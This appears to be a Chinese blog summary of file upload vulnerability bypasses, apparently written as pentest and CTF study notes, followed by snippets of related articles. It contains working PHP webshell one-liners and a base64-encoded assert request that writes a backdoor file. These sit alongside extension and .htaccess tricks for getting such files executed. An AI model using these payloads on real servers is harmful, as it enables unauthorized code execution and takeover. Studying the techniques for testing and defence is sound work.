文件上传思路总结

article/2025/9/29 5:29:00

#思路总结

    • 当遇到js前端脚本限制上传文件类型
    • 当服务器检测上传文件的MIME类型即媒体类型时
    • 文件头校验
    • 后端设置了后缀名黑名单
      • 文件解析漏洞
      • htaccess文件
      • 大小写绕过
      • 加空格绕过
      • 加点绕过
      • ::$DATA绕过
      • 点加空格加点绕过
      • 双写绕过
    • 后端设置了后缀名白名单
      • 当只能上传图片文件时,可以使用图片马
      • 当上传文件被改名时
    • 二次渲染图片马突破
      • GIF渲染绕过
      • JPG渲染绕过
      • PNG渲染绕过
    • 文件内容检查
      • 利用文件包含木马
      • 避开`<?php`语句
      • 避开`eval()`关键字
      • 避开`POST`关键字

当遇到js前端脚本限制上传文件类型

  1. 使用浏览器插件。删除检测文件后缀的JS代码,然后上传webshell

  2. 在前端js判断函数中加上可以上传php文件,或者直接删去这一函数
    在这里插入图片描述

  3. 首先把webshell的后缀改成允许上传的.jpg|.png|.gif,绕过JS检测。再抓包把后缀名改成.php,即可上传webshell
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述

当服务器检测上传文件的MIME类型即媒体类型时

在这里插入图片描述

当上传PHP文件时,抓包发现Content-Type字段是application/x-php
在这里插入图片描述
这时只要修改为其他值即可
在这里插入图片描述

文件头校验

每一种文件的文件头部都不一样,当服务器检测上传文件的文件头时,可以在文件内容中手动加入特定的头部信息。

GIF89a<?php phpinfo(); ?>

后端设置了后缀名黑名单

在这里插入图片描述

文件解析漏洞

当上传脚本限制了.asp,.aspx,.php,.jsp时,而服务器存在php文件解析漏洞
在这里插入图片描述
通过上传 .phtml .phps .php5 .pht后缀的文件绕过黑名单

在这里插入图片描述

htaccess文件

对于可以上传htacesss文件的页面,可以先上传一个包含SetHandler application/x-httpd-php的htaccess文件
在这里插入图片描述
htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

原理:他没有过滤 .htaccess后缀,我们可以构建一个htaccess配置文件,让所有格式文件都解析为php,然后再上传图片马(只要后缀是允许的,随便都可以)就会被解析了。

大小写绕过

在这里插入图片描述

在这里插入图片描述

加空格绕过

在这里插入图片描述

加点绕过

windows会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过

在这里插入图片描述

::$DATA绕过

在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
在这里插入图片描述

点加空格加点绕过

当脚本将文件末尾的点删除时可以加2个点,中间加一个空格
在这里插入图片描述

双写绕过

当文件后缀被替换为空时,可以尝试双写绕过
在这里插入图片描述

后端设置了后缀名白名单

在这里插入图片描述

当只能上传图片文件时,可以使用图片马

在这里插入图片描述
在这里插入图片描述

当上传文件被改名时

使用%00截断保存路径内容
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
在这里插入图片描述
当保存路径可以在url里面get方式提交时,我们可以手动修改他
看一下源码
在这里插入图片描述
可以看到img-path的处理,看到这是将上传文件改名为一个随机数加后缀的文件,即原来upload/1,php经过处理后变成upload/3452544.php。只要我们在get请求中制定文件名并将后面的内容截断,就可以绕过改名,即upload/1.php%00经过脚本处理后upload/1.php

在这里插入图片描述

二次渲染图片马突破

当图片被上传到服务器上时,图片会被重新渲染,其中的php语句会被过滤掉

GIF渲染绕过

首先拿原始图片和从服务器上下载的图片做对比
在这里插入图片描述
在没有被修改的地方插入php语句
在这里插入图片描述
上传修改后的gif图片,可以看到加了php语句的图片和原来的图片不一样了,说明经过渲染后php语句还在。
在这里插入图片描述
尝试包含文件访问。
在这里插入图片描述

JPG渲染绕过

方法和GIF一样

PNG渲染绕过

PNG 要麻烦一点,PNG需要在特定的地方修改,还需要重新计算CRC值,而且不是每一张图片都可以。

文件内容检查

利用文件包含木马

前提条件:服务器只检验文件后缀为asp/php/jsp的文件内容是否为木马。
先上传一个内容为木马的其他后缀名文件,因为后缀名所以不会被检查内容,然后上传一个php文件,内容为一个包含语句。

避开<?php语句

当服务器检测文件内容,并过滤掉php起始标记时
在这里插入图片描述

使用<script>替换php脚本起始语句
在这里插入图片描述
在这里插入图片描述
题目地址:http://123.206.31.85:49166/index.php?file=upload.php

避开eval()关键字

  1. 可以使用GET代替eval。

    <?php @$_GET[a]($_POST[b]);?>
    

    原理是在访问时给a传eval,那么就相当于页面请求了<?php @eval($_POST[b]);?>

    http://ip/1.php?a=eval再隐蔽一点,将eval进行base64编码。
    http://ip/1.php?a=base64_decode(ZXZhbAo=)

    这里复现失败,按照官方文档,eval不支持这样的用法

避开POST关键字

使用GET代替POST

<?php $_GET[a]($_GET[b]);?>

构造特殊请求

?a=assert&b=${fputs(fopen("c.php",w),"<?php @eval($_POST[c]); ?>")};同样可以编码一下
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))};

执行后当前目录生成c.php 一句话木马(页面报错但是还是成功新建了文件)
在这里插入图片描述
在这里插入图片描述


http://chatgpt.dhexx.cn/article/eAT0qvZJ.shtml

相关文章

细说——文件上传漏洞(另附文件上传靶场通关记录)

目录 漏洞描述漏洞危害常见上传点和绕过方式上传点后缀绕过解析漏洞常见绕过类型 脑图漏洞在系统中的差异IIS 5.x/6.0解析漏洞Nginx 解析漏洞Apache 解析漏洞 靶场环境准备理解文件上传Pass-1-js检查【前端绕过】Pass-2-只验证Content-type【考核&#xff1a;MIME绕过】Pass-3-…

文件上传漏洞获取服务器,渗透测试-文件上传漏洞

声明&#xff1a;文中出现的ip为练习靶场&#xff0c;本文仅供学习&#xff0c;旨在学习web安全&#xff0c;不允许任何侵权行为 WebShell与WebShell管理工具 文件上传漏洞概述 文件上传漏洞绕过 文件上传漏洞防御 一、WebShell与WebShell管理工具 什么是WebShell webshell&…

php文件上传小结,文件上传总结

检测维度 javascript 检查没有流量产生&#xff0c;F12或者FireBug移除JS代码 MIME MIME检测&#xff0c;burp拦截后更改MIME类型 if($_FILES[userfile][type] ! "image/gif") { // check Content-type 目录路径 需要存储路径可控(或文件名完全可控) 00截断 $FilePat…

上传漏洞上传方法总结

title: 上传漏洞[汇总] copyright: true top: 0 date: 2018-07-31 22:40:47 tags: 上传漏洞 categories: 渗透测试 permalink: password: keywords: description: 对上传漏洞的大部分上传方式作总结。 最后必然失去的希望就是毒药啊。 个人对上传漏洞的理解在第一章节就说过了&…

php 文件上传抓包,详解文件上传漏洞

介绍 在现代互联网网站中,上传文件基本上是一种常见的功能,允许用户上传一些图片,视频以及其他类型的文件。如果网站出现文件上传漏洞,那么恶意用户就可以将可执行脚本程序上传到web服务器中,获得网站权限,进一步 gongji web服务器。 当上传文件时,如果服务端未对客户端…

文件上传漏洞总结

文件上传 文件上传漏洞产生的原理 文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件&#xff0c;而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。 文件上传漏洞的危害 1、由于是上传的文件&#xff0c;所以文件由用户决定&#xff0c;上传we…

php 上传文件触发,PHP文件上传漏洞浅析

PHP文件上传漏洞的浅析。 文件上传简介 在一个正常的网站中&#xff0c;通常都会存在一些允许用户上传文件的地方。但是有一些上传功能的地方没有对用户上传的内容进行过滤&#xff0c;导致会上传木马到服务器并执行命令&#xff0c;甚至控制服务器的权限。 文件上传实现 前端代…

文件上传漏洞

文件上传漏洞 1. 文件上传功能 文件上传功能是大部分WEB应用的必备功能&#xff0c;站点常见文件上传点有&#xff1a;用户头像上传、社交类网站允许用户上传照片、服务类网站需要用户上传证明材料的电子档、电商类网站允许用户上传图片展示商品情况等。然而&#xff0c;看似…

java fckeditor 上传图片_java下FCKeditor上传图片问题

展开全部 先到tomcat->webapps里建立一个文件夹叫mysite。把FCKeditor里的/editor和fckconfig.js, fckeditor.js, fckstyles.xml, fcktemplates.xml四个文件copy到mysite文件夹里&#xff0c;因为别的文件对我32313133353236313431303231363533e58685e5aeb931333239303264们…

Consider defining a bean of type ‘com.course.server.mapper.TestMapper‘ in your configuration.

问题 Description:A component required a bean of type com.course.server.mapper.TestMapper that could not be found.Action:Consider defining a bean of type com.course.server.mapper.TestMapper in your configuration.解决 我用了mybatis&#xff0c;在mapper层忘记…

@ManyToMany mappedby

学生和老师就是多对多的关系。一个学生有多个老师&#xff0c;一个老师教多个学生。多对多映射采取中间表连接的映射策略&#xff0c;建立的中间表将分别引入两边的主键作为外键。jpa 对于中间表的元数据提供了可配置的方式&#xff0c;用户可以自定义中间表的表名&#xff0c;…

MapDB简单用法

MapDB提供了Java映射、集、列表、队列和其他由非堆或磁盘存储支持的集合。它是java集合框架和嵌入式数据库引擎之间的混合。它是Apache许可下的免费和开放源码。 如果处理GB级数据&#xff0c;请考虑使用非缓存存储容器&#xff0c;比如本篇提到的MapDB&#xff0c;而不要把庞大…

BaseMapper

* 1.公共的方法进行抽取,抽取到BaseMapper接口中,将用户操作的方法对象,转化为数据库能够识别的SQL语句 * 2.通过userMapper查找父级接口BaseMapper * 3.根据BaseMapper查找泛型对象User对象 * 4.根据user对象查找指定的注解TableName,获取表明 * 5.根据user对象的属性,动态获取…

MappedBy

对于mappedBy复习下&#xff1a; a) 只有OneToOne,OneToMany,ManyToMany上才有mappedBy属性&#xff0c;ManyToOne不存在该属性&#xff1b; b) mappedBy标签一定是定义在the owned side(被拥有方的)&#xff0c;他指向the owning side(拥有方)&#xff1b; c) mappedBy的含义…

Data Mapper

使用 Data Mapper分离数据源的Model和页面现实的Model&#xff0c;不要因为数据源的增加、修改或者删除&#xff0c;导致上层页面也要跟着一起修改 interface Mapper<I,O> {fun map(input:I):O }data class CarEntity(var no:String) data class CarModel(var num:String…

全网最详细的postman接口测试教程,一篇文章满足你

目录 目录 1、前言 2、接口理论 3、接口实例 一、POST 二、GET 4、总结&#xff1a; 1、前言 之前还没实际做过接口测试的时候呢&#xff0c;对接口测试这个概念比较渺茫&#xff0c;只能靠百度&#xff0c;查看各种接口实例&#xff0c;然后在工作中也没用上&#xff0c;…

简单粗暴的PostMan使用说明文档让你一片文章看懂PostMan怎么使用

PostMan功能简单介绍 创建文件夹 点击Collections创建新的文件夹&#xff0c;可以将不同的接口存入不同的文件夹中 点击右边三个点可以进行设置&#xff0c;Rename是重新命名 点击Add request&#xff0c;会在右侧创建一个get请求方式的request。 点击Add Folder&#xff0…

postman基础使用教程

Postman教程大全 - 简书推荐一款接口测试工具&#xff01;POSTMAN&#xff01;简单来说&#xff0c;四个词&#xff0c;简单实用大方美观&#xff01; Postman是一款功能强大的网页调试与发送网页HTTP请求的Chrome插件 Postman背景...https://www.jianshu.com/p/97ba64888894 …

不会接口测试?用Postman轻松入门(一)—— Postman实现get和post请求

测试行业现在越来越卷&#xff0c;不会点接口测试好像简历都已经拿不出手了&#xff0c;但很多小伙伴都会头疼&#xff1a;接口测试应该怎么入门&#xff1f;那么多的接口测试工具应该学哪个&#xff1f; 其实&#xff0c;接口测试工具&#xff0c;就像吃饭用的筷子&#xff0…

Postman快速入门(一)

一、基本介绍 postman是一款流程的接口调试工具&#xff0c;其特点就是使用简单&#xff0c;功能强大。使用角色也非常广泛&#xff0c;后端开发&#xff0c;前端人员&#xff0c;测试人员都可以使用它进行接口调试或测试。 下图是基本功能介绍 发送第一个请求 如果你是第一次…